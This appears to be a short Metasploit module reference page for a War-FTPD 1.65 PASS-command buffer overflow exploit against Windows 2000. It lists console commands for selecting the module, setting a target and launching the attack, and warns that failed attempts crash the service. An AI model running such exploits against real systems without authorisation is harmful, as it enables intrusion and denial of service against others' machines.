This exploits the buffer overflow found in the PASS command in War-FTPD 1.65. This particular module will only work reliably against Windows 2000 targets. The server must be configured to allow anonymous logins for this exploit to succeed. A failed attempt will bring down the service completely.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/warftpd_165_pass
msf exploit(warftpd_165_pass) > show targets
...targets...
msf exploit(warftpd_165_pass) > set TARGET < target-id >
msf exploit(warftpd_165_pass) > show options
...show and set options...
msf exploit(warftpd_165_pass) > exploit
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